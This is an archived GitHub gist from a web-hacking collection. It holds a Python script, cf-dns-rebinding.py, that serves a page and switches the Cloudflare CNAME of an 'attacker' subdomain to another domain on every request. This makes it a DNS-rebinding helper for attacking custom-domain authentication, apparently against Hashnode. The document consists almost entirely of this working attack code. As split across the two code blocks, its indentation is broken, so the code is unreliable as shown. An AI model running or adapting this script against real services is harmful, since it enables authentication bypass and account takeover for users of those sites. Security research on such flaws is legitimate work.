

DNS-Switching Helper for Custom-Domain Authentication Testing

DNS-Switching Helper for Custom-Domain Authentication Testing - Author not stated, Voorivex.

- Published: date not stated
- Original: <<https://gist.github.com/Voorivex/2e1ead0c0c898be1cb24b5f873216249>>
- Preserved from: <https://gist.github.com/Voorivex/2e1ead0c0c898be1cb24b5f873216249> (manual-import) on 2026-09-13
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

DNS-Switching Helper for Custom-Domain Authentication Testing

Archive source collection. Author: Voorivex. Exact complete gist files at revision

[9ae0a533dc9a76bf2391f70165b7be92300b8698](https://gist.github.com/Voorivex/2e1ead0c0c898be1cb24b5f873216249/9ae0a533dc9a76bf2391f70165b7be92300b8698) . This is source preservation; code has not been executed.

cf-dns-rebinding.py

Source:

<<https://gist.github.com/Voorivex/2e1ead0c0c898be1cb24b5f873216249/raw/1f9909dd44ed9d81041c110f1ce9735e04983f3b/cf-dns-rebinding.py>>

```

import requests, os
from dotenv import load_dotenv
from http.server import HTTPServer, BaseHTTPRequestHandler

def update_record():
    # Your Cloudflare API token
    load_dotenv()
    API_TOKEN = os.getenv("API_TOKEN")

    # Your Cloudflare Zone ID
    ZONE_ID = '987768322c204a7461ecd97504573498'

    # The DNS record you want to update
    record_name = 'attacker.voorivex.team'
    new_ip = 'icollab.info'
    # new_ip = 'hashnode.network'

    # Cloudflare API endpoint for updating a DNS record
    url = f'https://api.cloudflare.com/client/v4/zones/{ZONE_ID}/dns_records'

    # Construct the request headers
    headers = {
        'Authorization': f'Bearer {API_TOKEN}',
        'Content-Type': 'application/json'
    }

    # Get the current record ID first
    params = {
        'name': record_name
    }

    response = requests.get(url, headers=headers, params=params)
    response_data = response.json()

    # Check if the request was successful
    if response.status_code == 200:
        record_id = response_data['result'][0]['id'] # Assuming there's only one record with the same name
        # Construct the request body
        data = {
            'type': 'CNAME', # Assuming it's an A record, change if necessary
            'name': record_name,
            'content': new_ip
        }

```

```

# Make the API request to update the DNS record
update_url = f'{url}/{record_id}'
update_response = requests.put(update_url, headers=headers, json=data)

if update_response.status_code == 200:
    print(f"DNS record for {record_name} updated successfully.")
else:
    print(f"Failed to update DNS record. Status code: {update_response.status_code}, Response: {update_response.text}")

else:
    print(f"Failed to retrieve DNS record. Status code: {response.status_code}, Response: {response.text}")

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        update_record()
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b"<html><head><title>Hello</title></head><body><h1>Hello!</h1><a href='https://hashnode.com'>Visit Hashnode</a></body></html>")

def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000):
    server_address = ("", port)
    httpd = server_class(server_address, handler_class)
    print(f"Server running on port {port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

```